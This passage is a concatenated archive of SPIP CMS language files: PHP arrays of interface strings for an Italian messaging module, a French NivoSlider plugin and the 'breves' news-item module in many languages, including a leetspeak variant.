'info_selection_pensebetes' => 'Promemoria',
'info_type_message_affich' => 'Annuncio',
'info_type_message_normal' => 'Messaggio',
'info_type_message_pb' => 'Promemoria',
'info_type_message_rv' => 'Appuntamento',
// L
'label_destinataires' => 'A',
'label_texte' => 'Testo:',
'label_titre' => 'Titolo',
'loading' => 'Caricamento...',
// M
'message' => 'Inserisci la tua email, prima del contenuto del sito',
'messages' => 'Messaggi',
// N
'notification_annonce_lire_a_ladresse' => 'Puoi leggerla al seguente url @url@.',
'notification_annonce_publie_1' => '[@nom_site_spip@] Annuncio globale',
'notification_message_lire_a_ladresse' => 'Puoi leggerlo e replicare all’indirizzo @url@.',
'notification_message_publie_1' => '[@nom_site_spip@] Nuovo messaggio',
'notification_message_recu_de' => 'Hai ricevuto un nuovo messa da @nom@.',
// T
'texte_message_brouillon' => 'Questo messaggio è salvato come bozza',
'titre_agenda_rv' => 'Appuntamento',
'titre_boite_envoi' => 'Posta in uscita',
'titre_boite_reception' => 'Posta in entrata'
);
?>
mscnivoslider_fr.php 0000666 00000002130 15252255234 0010632 0 ustar 00 <?php
/*
* Plugin MSC NivoSlider pour SPIP 3
* (c) 2014-2015 Jean-Yves Giraud
*/
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
if (!defined("_ECRIRE_INC_VERSION")) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'configuration_mscnivoslider' => 'MSC NivoSlider',
'controls' => 'Contrôles',
'cfg_title_mscnivoslider' => 'Configuration du diaporama MSC NivoSlider',
// G
'general' => 'Apparence générale',
// L
'label_false' => 'non',
'label_true' => 'oui',
'label_theme' => 'Thème',
'label_position' => 'Position',
'label_imageAlign' => 'Recadrer',
'label_animSpeed' => 'Vitesse de l\'animation',
'label_pauseTime' => 'Pause entre les images',
'label_slices' => 'Nombre de tranches',
'label_directionNav' => 'Activer les flèches de navigation',
'label_controlNav' => 'Activer les contrôles de navigation (puces ou miniatures)',
'label_controlNavThumbs' => 'Activer les miniatures',
'label_pauseOnHover' => 'Pause au survol',
'label_showCaption' => 'Afficher les titres',
'label_widthSkel' => 'Largeur maxi des images pour le squelette du site'
);
?>
paquet-mscnivoslider_fr.php 0000666 00000001165 15252255234 0012136 0 ustar 00 <?php
/*
* Plugin MSC NivoSlider pour SPIP 3
* (c) 2014-2015 Jean-Yves Giraud
*/
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'mscnivoslider_description' => 'Ajoute les balises <nivoslider|id=xx,xx,xx,xx> pour créer un diaporama [Nivo Slider->http://nivo.dev7studios.com/] paramétrable.<br />
Version inspirée du [plugin pour SPIP Nivo Slider->http://webtice.ac-guyane.fr/contrib/?article1] de Grégory Pascal.',
'mscnivoslider_slogan' => 'Diaporama jQuery Nivo Slider pour vos articles !',
);
?> breves_sv.php 0000666 00000002707 15252255245 0007274 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=sv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Nyheter',
// E
'entree_breve_publiee' => 'Ska den här notisen publiceras?', # MODIF
'entree_texte_breve' => 'Notisens text',
// I
'icone_breves' => 'Nyheter',
'icone_ecrire_nouvel_article' => 'Nyheter i den här sektionen',
'icone_modifier_breve' => 'Editera nyheten',
'icone_nouvelle_breve' => 'Skriv en ny nyhet',
'info_1_breve' => '1 nyhet',
'info_breves' => 'Använder din sajt nyhetssystemet?',
'info_breves_02' => 'Nyheter',
'info_breves_valider' => 'Nyheter som ska godkännas',
'info_gauche_numero_breve' => 'NYHET NUMMER', # MODIF
'item_breve_proposee' => 'Inlämnad nyhet', # MODIF
'item_breve_refusee' => 'Nej - Nyheten refuserades', # MODIF
'item_breve_validee' => 'Ja - Nyheten godkändes', # MODIF
'item_non_utiliser_breves' => 'Använd inte nyheter',
'item_utiliser_breves' => 'Använd nyheter',
// L
'logo_breve' => 'NYHETENS LOGOTYPE', # MODIF
// T
'titre_breve_proposee' => 'Uppladdade nyheter',
'titre_breve_publiee' => 'Nyheten har publicerats',
'titre_breve_refusee' => 'Nyheten har refuserats',
'titre_breves' => 'Nyheter',
'titre_langue_breve' => 'NYHETENS SPRÅK', # MODIF
'titre_page_breves' => 'Nyheter'
);
?>
breves_it.php 0000666 00000003256 15252255245 0007260 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Breve',
'breves' => 'Brevi',
// E
'entree_breve_publiee' => 'Questa breve è : ',
'entree_texte_breve' => 'Testo della breve',
// I
'icone_breves' => 'Brevi',
'icone_ecrire_nouvel_article' => 'Le brevi contenute nella rubrica',
'icone_modifier_breve' => 'Modifica la breve',
'icone_nouvelle_breve' => 'Scrivi una breve',
'info_1_breve' => '1 breve',
'info_aucun_breve' => 'Nessuna breve',
'info_breves' => 'Il tuo sito dovrà utilizzare il sistema di brevi?',
'info_breves_02' => 'Brevi',
'info_breves_valider' => 'Brevi da convalidare',
'info_gauche_numero_breve' => 'Breve numero',
'info_nb_breves' => '@nb@ brevi',
'item_breve_proposee' => 'proposta',
'item_breve_refusee' => 'rifiutata',
'item_breve_validee' => 'validatata',
'item_non_utiliser_breves' => 'Non utilizzare le brevi',
'item_utiliser_breves' => 'Utilizza le brevi',
// L
'logo_breve' => 'Logo della breve',
// T
'texte_breves' => 'Le brevi sono dei testi corti e semplici che consentono
di mettere on line rapidamente delle news di attualità,
di gestire una rassegna stampa o un calendario di eventi, ecc.',
'titre_breve_proposee' => 'Breve proposta',
'titre_breve_publiee' => 'Breve pubblicata',
'titre_breve_refusee' => 'Breve rifiutata',
'titre_breves' => 'Le brevi',
'titre_langue_breve' => 'Lingua della breve',
'titre_nouvelle_breve' => 'Nuova breve',
'titre_page_breves' => 'Brevi'
);
?>
breves_sq.php 0000666 00000001276 15252255245 0007267 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=sq
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Skica',
// I
'icone_breves' => 'Skicat',
'icone_nouvelle_breve' => 'Shkruaj një skicë',
'info_breves_02' => 'Skicat',
'info_breves_valider' => 'Skicat qe presin pranimin',
'item_breve_proposee' => 'Propozim i shkurtër', # MODIF
// T
'titre_breve_proposee' => 'Skicë e propozuar',
'titre_breve_publiee' => 'Skicë e botuar',
'titre_breve_refusee' => 'Skicë e refuzuar'
);
?>
paquet-breves_nl.php 0000666 00000000673 15252255245 0010552 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'Nieuwsberiechten zijn kortnieuws zonder auteur.',
'breves_slogan' => 'Beheer van nieuwsberichten in SPIP'
);
?>
breves_is.php 0000666 00000001327 15252255245 0007254 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=is
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// E
'entree_breve_publiee' => 'Á að birta þessa stuttu frétt?', # MODIF
'entree_texte_breve' => 'Texti stuttfréttarinnar',
// I
'icone_breves' => 'Stuttar fréttir',
'icone_ecrire_nouvel_article' => 'Stuttar fréttir innan þessa bálks',
'icone_modifier_breve' => 'Breyta þessari stuttu frétt',
'icone_nouvelle_breve' => 'Skrifa nýja stutta frétt',
// L
'logo_breve' => 'TÁKN STUTTU FRÉTTARINNAR' # MODIF
);
?>
breves_gl.php 0000666 00000003315 15252255245 0007242 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=gl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Breve',
'breves' => 'Breves',
// E
'entree_breve_publiee' => 'Quere que se publique a breve?', # MODIF
'entree_texte_breve' => 'Texto da breve',
// I
'icone_breves' => 'Breves',
'icone_ecrire_nouvel_article' => 'As breves contidas neste tema',
'icone_modifier_breve' => 'Modificar esta breve',
'icone_nouvelle_breve' => 'Escribir unha nova breve',
'info_1_breve' => '1 breve',
'info_aucun_breve' => 'Ningunha breve',
'info_breves' => 'O seu web empregará o sistema de breves?',
'info_breves_02' => 'Breves',
'info_breves_valider' => 'Breves por validar',
'info_gauche_numero_breve' => 'BREVE NÚMERO', # MODIF
'info_nb_breves' => '@nb@ breves',
'item_breve_proposee' => 'Breve proposta', # MODIF
'item_breve_refusee' => 'NON - Breve rexeitada', # MODIF
'item_breve_validee' => 'Sí - Breve validada', # MODIF
'item_non_utiliser_breves' => 'Non usar as breves',
'item_utiliser_breves' => 'Empregar as breves',
// L
'logo_breve' => 'LOGO DA BREVE', # MODIF
// T
'texte_breves' => 'As breves son textos curtos e simples que permeten
publicar rapidamente informacións concisas, xestionar unha
revista de prensa, un calendario de eventos...',
'titre_breve_proposee' => 'Breve proposta',
'titre_breve_publiee' => 'Breve publicada',
'titre_breve_refusee' => 'Breve rexeitada',
'titre_breves' => 'As breves',
'titre_langue_breve' => 'LINGUA DA BREVE', # MODIF
'titre_page_breves' => 'Breves'
);
?>
breves_tt.php 0000666 00000003613 15252255245 0007270 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://www.spip.net/trad-lang/
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Brève', # NEW
'breves' => 'Brèves', # NEW
// E
'entree_breve_publiee' => 'Cette brève est :', # NEW
'entree_texte_breve' => 'Texte de la brève', # NEW
// I
'icone_breves' => 'Brèves', # NEW
'icone_ecrire_nouvel_article' => 'Les brèves contenues dans cette rubrique', # NEW
'icone_modifier_breve' => 'Modifier cette brève', # NEW
'icone_nouvelle_breve' => 'Écrire une nouvelle brève', # NEW
'info_1_breve' => '1 brève', # NEW
'info_aucun_breve' => 'Aucune brève', # NEW
'info_breves' => 'Votre site utilise-t-il le système de brèves ?', # NEW
'info_breves_02' => 'Brèves', # NEW
'info_breves_valider' => 'Brèves à valider', # NEW
'info_gauche_numero_breve' => 'Brève numéro', # NEW
'info_nb_breves' => '@nb@ brèves', # NEW
'item_breve_proposee' => 'proposée à l\'évaluation', # NEW
'item_breve_refusee' => 'refusée', # NEW
'item_breve_validee' => 'validée', # NEW
'item_non_utiliser_breves' => 'Ne pas utiliser les brèves', # NEW
'item_utiliser_breves' => 'Utiliser les brèves', # NEW
// L
'logo_breve' => 'Logo de la brève', # NEW
// T
'texte_breves' => 'Les brèves sont des textes courts et simples permettant de
mettre en ligne rapidement des informations concises, de gérer
une revue de presse, un calendrier d\'événements...', # NEW
'titre_breve_proposee' => 'Brève proposée', # NEW
'titre_breve_publiee' => 'Brève publiée', # NEW
'titre_breve_refusee' => 'Brève refusée', # NEW
'titre_breves' => 'Les brèves', # NEW
'titre_langue_breve' => 'Langue de la brève', # NEW
'titre_nouvelle_breve' => 'Nouvelle brève', # NEW
'titre_page_breves' => 'Brèves' # NEW
);
?>
paquet-breves_sk.php 0000666 00000000655 15252255245 0010556 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'Novinky sú krátke informácie bez autora.',
'breves_slogan' => 'Správa noviniek v SPIPe'
);
?>
breves_sc.php 0000666 00000001123 15252255245 0007240 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=sc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Breves',
// E
'entree_texte_breve' => 'Testu de sa breve',
// T
'titre_breve_publiee' => 'Breve publicada',
'titre_breve_refusee' => 'Breve refudada',
'titre_breves' => 'Sas breves',
'titre_langue_breve' => 'LIMBA DE SA BREVE', # MODIF
'titre_page_breves' => 'Breves'
);
?>
breves_oc_gsc.php 0000666 00000003267 15252255245 0010103 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=oc_gsc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Brèvas',
// E
'entree_breve_publiee' => 'Aquera brèva e cau publicar-la?', # MODIF
'entree_texte_breve' => 'Tèxt de la brèva',
// I
'icone_breves' => 'Brèvas',
'icone_ecrire_nouvel_article' => 'Las brèvas contengudas dens aquera rubrica',
'icone_modifier_breve' => 'Modificar aquera brèva',
'icone_nouvelle_breve' => 'Escríver ua brèva nava',
'info_1_breve' => '1 brèva',
'info_breves' => 'Utiliza, lo vòste sit, lo sistèma de brèvas?',
'info_breves_02' => 'Brèvas',
'info_breves_valider' => 'Brèvas de validar',
'info_gauche_numero_breve' => 'BRÈVA NUMÈRO', # MODIF
'item_breve_proposee' => 'Brèva perpausada', # MODIF
'item_breve_refusee' => 'NON - Brèva arrefusada', # MODIF
'item_breve_validee' => 'ÒC- Brèva validada', # MODIF
'item_non_utiliser_breves' => 'N’utilizar pas las brèvas',
'item_utiliser_breves' => 'Utilizar las brèvas',
// L
'logo_breve' => 'LÒGO DE LA BRÈVA', # MODIF
// T
'texte_breves' => 'Las brèvas que son tèxtes corts e simples qui permeten de hicar en linha lèu informacions concisas, de gerir
ua revista de premsa, un calendèr d’eveniments...',
'titre_breve_proposee' => 'Brèva perpausada',
'titre_breve_publiee' => 'Brèva publicada',
'titre_breve_refusee' => 'Brèva arrefusada',
'titre_breves' => 'Las brèvas',
'titre_langue_breve' => 'LENGA DE LA BRÈVA', # MODIF
'titre_page_breves' => 'Brèvas'
);
?>
breves_oc_prv.php 0000666 00000003255 15252255245 0010133 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=oc_prv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Brèvas',
// E
'entree_breve_publiee' => 'Aquela brèva la cau publicar?', # MODIF
'entree_texte_breve' => 'Tèxt de la brèva',
// I
'icone_breves' => 'Brèvas',
'icone_ecrire_nouvel_article' => 'Lei brèvas contengudas dins aquela rubrica',
'icone_modifier_breve' => 'Modificar aquela brèva',
'icone_nouvelle_breve' => 'Escriure una brèva nòva',
'info_1_breve' => '1 brèva',
'info_breves' => 'Vòstre sit utiliza lo sistèma de brèvas?',
'info_breves_02' => 'Brèvas',
'info_breves_valider' => 'Brèvas de validar',
'info_gauche_numero_breve' => 'BRÈVA NUMÈRO', # MODIF
'item_breve_proposee' => 'Brèva prepausada', # MODIF
'item_breve_refusee' => 'NON - Brèva refusada', # MODIF
'item_breve_validee' => 'ÒC- Brèva validada', # MODIF
'item_non_utiliser_breves' => 'Pas utilizar lei brèvas',
'item_utiliser_breves' => 'Utilizar lei brèvas',
// L
'logo_breve' => 'LÒGO DE LA BRÈVA', # MODIF
// T
'texte_breves' => 'Lei brèvas son de tèxts corts e simples que permeton de metre en linha lèu d’informacions concisas, de gerir
una revista de premsa, un calendier d’eveniments...',
'titre_breve_proposee' => 'Brèva prepausada',
'titre_breve_publiee' => 'Brèva publicada',
'titre_breve_refusee' => 'Brèva refusada',
'titre_breves' => 'Lei brèvas',
'titre_langue_breve' => 'LENGA DE LA BRÈVA', # MODIF
'titre_page_breves' => 'Brèvas'
);
?>
breves_pt.php 0000666 00000003372 15252255245 0007266 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Notícia',
'breves' => 'Notícia',
// E
'entree_breve_publiee' => 'Esta notícia é: ',
'entree_texte_breve' => 'Escrever o texto da notícia',
// I
'icone_breves' => 'Notícias',
'icone_ecrire_nouvel_article' => 'As notícias contidas nesta rubrica',
'icone_modifier_breve' => 'Modificar esta notícia',
'icone_nouvelle_breve' => 'Escrever uma notícia curta',
'info_1_breve' => '1 notícia',
'info_aucun_breve' => 'Sem notícias',
'info_breves' => 'O seu sítio utiliza o sistema de notícias',
'info_breves_02' => 'Notícia',
'info_breves_valider' => 'Notícias a validar',
'info_gauche_numero_breve' => 'NOTÍCIA NÚMERO',
'info_nb_breves' => '@nb@ notícias',
'item_breve_proposee' => 'notícia proposta',
'item_breve_refusee' => 'Notícia recusada',
'item_breve_validee' => 'Notícia aceite',
'item_non_utiliser_breves' => 'Não utilizar as notícias',
'item_utiliser_breves' => 'Utilizar as notícias',
// L
'logo_breve' => 'Logotipo da notícia',
// T
'texte_breves' => 'As notícias são mensagens curtas que permitem a publicação de informações concisas, a gestão de revisões de imprensa, de um calendário de eventos...',
'titre_breve_proposee' => 'Notícia proposta',
'titre_breve_publiee' => 'Notícia publicada',
'titre_breve_refusee' => 'Notícia recusada',
'titre_breves' => 'Notícias',
'titre_langue_breve' => 'Idioma da notícia',
'titre_nouvelle_breve' => 'Nova notícia',
'titre_page_breves' => 'Notícias'
);
?>
breves_oc_auv.php 0000666 00000003271 15252255245 0010115 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=oc_auv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Brèvas',
// E
'entree_breve_publiee' => 'Aquela brèva la chau publicar?', # MODIF
'entree_texte_breve' => 'Tèxt de la brèva',
// I
'icone_breves' => 'Brèvas',
'icone_ecrire_nouvel_article' => 'Las brèvas contengudas dins aquela rubrica',
'icone_modifier_breve' => 'Modificar aquela brèva',
'icone_nouvelle_breve' => 'Escriure una brèva nuòva',
'info_1_breve' => '1 brèva',
'info_breves' => 'Vòstre sit utiliza lo sistèma de brèvas?',
'info_breves_02' => 'Brèvas',
'info_breves_valider' => 'Brèvas de validar',
'info_gauche_numero_breve' => 'BRÈVA NUMÈRO', # MODIF
'item_breve_proposee' => 'Brèva prepausada', # MODIF
'item_breve_refusee' => 'NON PAS - Brèva refusada', # MODIF
'item_breve_validee' => 'ÒC BE - Brèva validada', # MODIF
'item_non_utiliser_breves' => 'Pas utilizar las brèvas',
'item_utiliser_breves' => 'Utilizar las brèvas',
// L
'logo_breve' => 'LÒGO DE LA BRÈVA', # MODIF
// T
'texte_breves' => 'Las brèvas son de tèxts corts e simples que permeton de metre en linha lèu d’informacions concisas, de gerir
una revista de premsa, un chalendèir d’eveniments...',
'titre_breve_proposee' => 'Brèva prepausada',
'titre_breve_publiee' => 'Brèva publicada',
'titre_breve_refusee' => 'Brèva refusada',
'titre_breves' => 'Las brèvas',
'titre_langue_breve' => 'LENGA DE LA BRÈVA', # MODIF
'titre_page_breves' => 'Brèvas'
);
?>
breves_eo.php 0000666 00000003515 15252255245 0007245 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=eo
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Fulm-informo',
'breves' => 'Fulm-informoj',
// E
'entree_breve_publiee' => 'Tiu fulm-informo estas :',
'entree_texte_breve' => 'Teksto de la fulm-informo',
// I
'icone_breves' => 'Fulm-informoj',
'icone_ecrire_nouvel_article' => 'La fulm-informoj troviĝantaj en tiu rubriko',
'icone_modifier_breve' => 'Modifi tiun ĉi fulm-informon',
'icone_nouvelle_breve' => 'Skribi novan fulm-informon',
'info_1_breve' => '1 fulm-informo',
'info_aucun_breve' => 'Neniu fulm-informo',
'info_breves' => 'Ĉu via retejo uzas la fulm-informilon ?',
'info_breves_02' => 'Fulm-informoj',
'info_breves_valider' => 'Validigendaj fulm-informoj',
'info_gauche_numero_breve' => 'Fulm-informo numero',
'info_nb_breves' => '@nb@ fulm-informoj',
'item_breve_proposee' => 'proponita por taksado',
'item_breve_refusee' => 'rifuzita',
'item_breve_validee' => 'validigita',
'item_non_utiliser_breves' => 'Ne uzi la fulm-informojn',
'item_utiliser_breves' => 'Uzi la fulm-informojn',
// L
'logo_breve' => 'Vinjeto de la fulm-informo',
// T
'texte_breves' => 'La fulm-informoj estas mallongaj kaj simplaj tekstoj ebligantaj
rapide ĉeretigi koncizajn informojn, mastrumi
gazetarrevuon, kalendaron de eventoj...',
'titre_breve_proposee' => 'Proponita fulm-informo',
'titre_breve_publiee' => 'Publikigita fulm-informo',
'titre_breve_refusee' => 'Rifuzita fulm-informo',
'titre_breves' => 'La fulm-informoj',
'titre_langue_breve' => 'Lingvo de la furm-informo',
'titre_nouvelle_breve' => 'Nova fulm-informo',
'titre_page_breves' => 'Fulm-informoj'
);
?>
paquet-breves_en.php 0000666 00000000675 15252255245 0010545 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'News items are short informations, without authors.',
'breves_slogan' => 'Management of news items in SPIP'
);
?>
breves_hr.php 0000666 00000001664 15252255245 0007256 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=hr
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Vijesti',
// E
'entree_breve_publiee' => 'Da li se ova vijest može objaviti?', # MODIF
'entree_texte_breve' => 'sadržaj (tekst) vijesti',
// I
'icone_breves' => 'vijesti',
'icone_nouvelle_breve' => 'napisati novu vijest',
'info_breves_02' => 'vijesti',
'info_breves_valider' => 'vijesti za provjeru',
'item_breve_proposee' => 'predložena vijest', # MODIF
'item_breve_refusee' => 'NE - vijest odbačena', # MODIF
'item_breve_validee' => 'DA - vijest odobrena', # MODIF
// T
'titre_breve_proposee' => 'podnešena vijest',
'titre_breve_publiee' => 'objavljena vijest',
'titre_breve_refusee' => 'odbačena vijest'
);
?>
breves_es.php 0000666 00000003253 15252255245 0007250 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Breve',
'breves' => 'Breves',
// E
'entree_breve_publiee' => 'Este breve está: ',
'entree_texte_breve' => 'Texto del breve',
// I
'icone_breves' => 'Breves',
'icone_ecrire_nouvel_article' => 'Los breves de esta sección',
'icone_modifier_breve' => 'Modificar este breve',
'icone_nouvelle_breve' => 'Nuevo breve',
'info_1_breve' => '1 breve',
'info_aucun_breve' => 'Ningún breve',
'info_breves' => 'Puedes utilizar el sistema de breves',
'info_breves_02' => 'Breves',
'info_breves_valider' => 'Breves a validar',
'info_gauche_numero_breve' => 'Breve número',
'info_nb_breves' => '@nb@ breves',
'item_breve_proposee' => 'propuesto para revisión',
'item_breve_refusee' => 'rechazado',
'item_breve_validee' => 'validado',
'item_non_utiliser_breves' => 'No utilizar los breves',
'item_utiliser_breves' => 'Utilizar los breves',
// L
'logo_breve' => 'Logotipo del breve',
// T
'texte_breves' => 'Los breves son notas cortas y simples que permiten poner rápidamente en línea informaciones concisas, por ejemplo para manejar reseñas de prensa, un calendario de eventos...',
'titre_breve_proposee' => 'Breve propuesto',
'titre_breve_publiee' => 'Breve publicado',
'titre_breve_refusee' => 'Breve rechazado',
'titre_breves' => 'Los breves',
'titre_langue_breve' => 'Idioma del breve',
'titre_nouvelle_breve' => 'Nuevo breve',
'titre_page_breves' => 'Breves'
);
?>
paquet-breves_ar.php 0000666 00000000715 15252255245 0010540 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'الأخبار هي معلومات قصيرة بدون مؤلف.',
'breves_slogan' => 'إدارة الأخبار في SPIP'
);
?>
breves_isl.php 0000666 00000003613 15252255245 0007430 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://www.spip.net/trad-lang/
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Brève', # NEW
'breves' => '<NEW> Brèves',
// E
'entree_breve_publiee' => 'Cette brève est :', # NEW
'entree_texte_breve' => 'Texte de la brève', # NEW
// I
'icone_breves' => 'Brèves', # NEW
'icone_ecrire_nouvel_article' => 'Les brèves contenues dans cette rubrique', # NEW
'icone_modifier_breve' => 'Modifier cette brève', # NEW
'icone_nouvelle_breve' => 'Écrire une nouvelle brève', # NEW
'info_1_breve' => '1 brève', # NEW
'info_aucun_breve' => 'Aucune brève', # NEW
'info_breves' => 'Votre site utilise-t-il le système de brèves ?', # NEW
'info_breves_02' => 'Brèves', # NEW
'info_breves_valider' => 'Brèves à valider', # NEW
'info_gauche_numero_breve' => 'Brève numéro', # NEW
'info_nb_breves' => '@nb@ brèves', # NEW
'item_breve_proposee' => 'proposée à l\'évaluation', # NEW
'item_breve_refusee' => 'refusée', # NEW
'item_breve_validee' => 'validée', # NEW
'item_non_utiliser_breves' => 'Ne pas utiliser les brèves', # NEW
'item_utiliser_breves' => 'Utiliser les brèves', # NEW
// L
'logo_breve' => 'Logo de la brève', # NEW
// T
'texte_breves' => 'Les brèves sont des textes courts et simples permettant de
mettre en ligne rapidement des informations concises, de gérer
une revue de presse, un calendrier d\'événements...', # NEW
'titre_breve_proposee' => 'Brève proposée', # NEW
'titre_breve_publiee' => 'Brève publiée', # NEW
'titre_breve_refusee' => 'Brève refusée', # NEW
'titre_breves' => 'Les brèves', # NEW
'titre_langue_breve' => 'Langue de la brève', # NEW
'titre_nouvelle_breve' => 'Nouvelle brève', # NEW
'titre_page_breves' => 'Brèves' # NEW
);
?>
breves_en_hx.php 0000666 00000003174 15252255245 0007744 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=en_hx
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'N3w5 173m5',
// E
'entree_breve_publiee' => '15 7h15 n3w5 173m 70 b3 pub115h3d?', # MODIF
'entree_texte_breve' => '73x7 0f n3w5 173m',
// I
'icone_breves' => 'N3w5',
'icone_ecrire_nouvel_article' => 'N3w5 1n 7h15 53c710n',
'icone_modifier_breve' => 'M0d1fy 7h15 n3w5 173m',
'icone_nouvelle_breve' => 'Wr173 4 n3w n3w5 173m',
'info_1_breve' => '1 n3w5 173m',
'info_breves' => 'D035 y0ur 5173 u53 7h3 n3w5 5y573m?',
'info_breves_02' => 'N3w5',
'info_breves_valider' => 'N3w5 173m5 70 b3 v411d473d',
'info_gauche_numero_breve' => 'N3W5 173M NUMB3R', # MODIF
'item_breve_proposee' => 'N3w5 173m 5ubm1773d', # MODIF
'item_breve_refusee' => 'N0 - N3w5 173m r3j3c73d', # MODIF
'item_breve_validee' => 'Y35 - N3w5 173m v411d473d', # MODIF
'item_non_utiliser_breves' => 'D0 n07 u53 7h3 n3w5',
'item_utiliser_breves' => 'U53 7h3 n3w5',
// L
'logo_breve' => 'N3W5 173M’5 10G0', # MODIF
// T
'texte_breves' => 'N3w5 4r3 5h0r7 4nd 51mp13 73x75 wh1ch 4110w
7h3 pub11c4710n 0n11n3 0f c0nc153 1nf0rm4710n, 7h3 m4n4g3m3n7 0f
4 pr355 r3v13w, 4 c413nd4r 0f 3v3n75...',
